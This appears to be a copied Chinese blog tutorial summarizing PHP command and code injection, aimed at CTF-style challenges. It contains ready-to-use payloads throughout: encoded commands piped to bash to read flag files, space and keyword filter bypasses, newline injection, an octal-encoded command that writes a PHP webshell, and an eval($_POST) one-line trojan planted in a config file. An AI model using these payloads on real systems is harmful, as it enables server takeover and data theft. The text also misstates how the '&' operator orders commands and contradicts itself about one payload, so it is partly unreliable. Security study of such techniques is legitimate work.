远程命令/代码执行漏洞(RCE)总结 |
您所在的位置:网站首页 › strreplace函数 › 远程命令/代码执行漏洞(RCE)总结 |
Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 漏洞危害 继承Web服务器程序的权限,去执行系统命令继承Web服务器程序的权限,读写文件反弹shell控制整个网站甚至控制整个服务器 PHP命令执行函数1. system() : system — 执行外部程序(命令行),并且显示输出 这个函数会将结果直接进行输出 (注意:是直接输出区别于返回值,因为这个,我一般不用它),命令成功后返回输出的最后一行,失败返回FALSE 2. shell_exec(): shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。 3. exec(): exec — 执行一个外部程序 返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。 exec()函数基本用法: exec ( string $command [, array &$output [, int &$return_var ]] ); $command:表示要执行的命令。 $output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。4. passthru(): passthru — 执行外部程序并且显示原始输出。 其他: 5. 反引号 `命令`反引号可以用来在PHP代码中直接执行系统命令,但是想要回显的话还需要一个 echo: 如果题目代码中没有 echo,所以我们需要配合curl并使用VPS进行外带。 6. 花括号 {command,} 7.echo命令 echo ls|sh echo cat /flag|bash PHP代码执行函数代码执行漏洞与命令执行漏洞具有相通性。 利用系统函数实现命令执行,在php下,允许命令执行的函数有: eval()、assert()、preg_replace()、**${}**等等,以后遇到在继续补充。 如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。 注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。) 方法:${php代码} ${phpinfo()}; 命令拼接符windows或linux下: command1 ; command2 : 先执行command1后执行comnand2 command1 & command2 : 先执行comnand2后执行command1 command1 && command2 : 先执行command1后执行comnand2 command1 | command2 : 只执行command2 command1 || command2 : command1执行失败, 再执行command2(若command1执行成功,就不再执行command2)在RCE中就是靠这些连接符来构造并执行恶意命令的。 命令执行的一些绕过技巧 绕过str_replace()函数双写绕过 空格被过滤绕过空格可以用以下字符串代替: < 、、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令、flag字符,那么就可以用下面这种方式将cat等先进行编码后再进行解码运行。 URL编码绕过关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。 Base64编码绕过linux base64讲解: 用法:base64 [选项]… [文件] 使用 Base64 编码/解码文件或标准输入/输出。 -d, --decode 解码数据 -w, --wrap=字符数 在指定的字符数后自动换行(默认为76),0 为禁用自动换行 实例: [root@localhost ~]# echo test|base64 加密 dGVzdAo= [root@localhost ~]# echo dGVzdAo= |base64 -d 解密 test绕过利用:("引号不是必须) echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码 echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码 echo "bHM="|base64 -d|sh 将执行ls道理与上面相同 利用linux xxd命令。xxd 命令可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。 -r参数:逆向转换。将16进制字符串表示转为实际的数 echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag也可以用 $() 的形式直接内联执行: $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag Oct编码绕过: $(printf "\154\163") 执行ls可以通过这样来写webshell,内容为 // : ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php // 需要有写权限$() 可以像反引号一样用于内联执行,后面会说到,这里注意一下。 用偶读拼接绕过关键字过滤为了绕过敏感字符(或黑名单),除了用以上说的编码绕过外,还可以用命令偶读拼接绕过。 构造payload,来进行偶读拼接绕过: ?ip=127.0.0.1;a=l;b=s;$a$b ?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;原理如下: 即在Linux中,命令是可以拼接执行的。但要注意,这样是不能执行的: ?ip=127.0.0.1;a=l;b=s;$a$b 用 %0a 绕过命令连接符当题目代码将一下字符全部过滤后: [ $ { } ` ; & | ( ) \ ' ~ ! @ # % ^ * [ ] \\ : - _ ]我们可以用 %0a 进行绕过,%0a 代表换行的意思,通过 %0a 能够注入新的一条命令进行执行: ?ip=127.0.0.1%0als ?ip=127.0.0.1%0acat /flag 花括号{command,}的别样用法在Linux bash中还可以使用花括号{OS_COMMAND,ARGUMENT}来执行系统命令, 注意:别忘了{,}里面的逗号,如{ls}这个不能执行,必须要{ls,}这样。 用内联执行绕过关键字过滤命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的反引号作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令(就是将反引号内命令的输出作为输入执行),类似于|管道 例如: echo "a`pwd`"还有 ?ip=127.0.0.1;cat$IFS$9`ls`于此类似的还有$(command) 例如:echo "abcd $(pwd)" 实例代码: 在这道题条件中,preg_replace函数中的参数只有$subject使我们可控的,而$replacement是不可控的,那我们我们怎么篡改$replacement呢,就要利用反向引用的知识: 反向引用,就是依靠子表达式的记忆功能来匹配连续出现的字串或字母。表达式在匹配时,表达式引擎会将小括号 “( )” 包含的表达式所匹配到的字符串记录下来。在获取匹配结果的时候,小括号包含的表达式所匹配到的字符串可以用序号来单独获取。 “\1” 引用第1对括号内匹配到的字符串,”\2” 引用第2对括号内匹配到的字符串……以此类推。在正则(.+)\1中,\1等于(.+)中匹配到的值,也就是连续2次相同的值。 如匹配连续两个it,首先将单词it作为分组,然后再后面加上“\1”即可,格式为:(it)\1 如果要匹配的字串不固定,那么就将括号内的字串写成一个正则表达式。如果使用了多个分组,那么可以用“\1”,“\2”来表示每个分组(顺序从左到右)。如:([a-z])(A-Z)\1\2 知道了反向引用的知识后,我们够早的payload: ?str=[phpinfo();] ?str=[system('cat /flag');] 实例2: 哼哼,这个就不再多说了。 PHP中双引号引起的命令执行漏洞在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。 举个简单例子: 可以看到这两个输出的结果并不相同。 重点:在双引号中倘若有${}出现,那么{}中的内容将被当做php代码块来执行。 可以看到成功执行了phpinfo() 试想一下,倘若在一个cms的后台,如果可以修改数据库的配置文件,且配置文件中的值用双引号包括 ,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。 现在,让我们来修改一下代码,让我们不只能输出phpinfo //@是用来防止输出错误信息的菜刀成功连接。 对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。 实例:Kuwebs代码审计在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码 我们先下载Kuwebs的源代码,下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中 这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件 我们将kuWebsiteURL修改为 $kuWebsiteURL = "${@eval($_POST[a])}";如果PHP能够正确解释,即我们写入了一句话木马 使用菜刀成功连接,成功执行代码 提示我们要在url中查询ip,我们先看一下目录下又什么东东: 发现&被过滤了: 我们可以用|、||、“ ; ”: 发现有个flag.php,我们尝试查看flag.php:/?ip=127.0.0.1;cat flag.php,却发现空格被过滤了 绕过空格的方法大概有以下几种: $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 $IFS$9 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |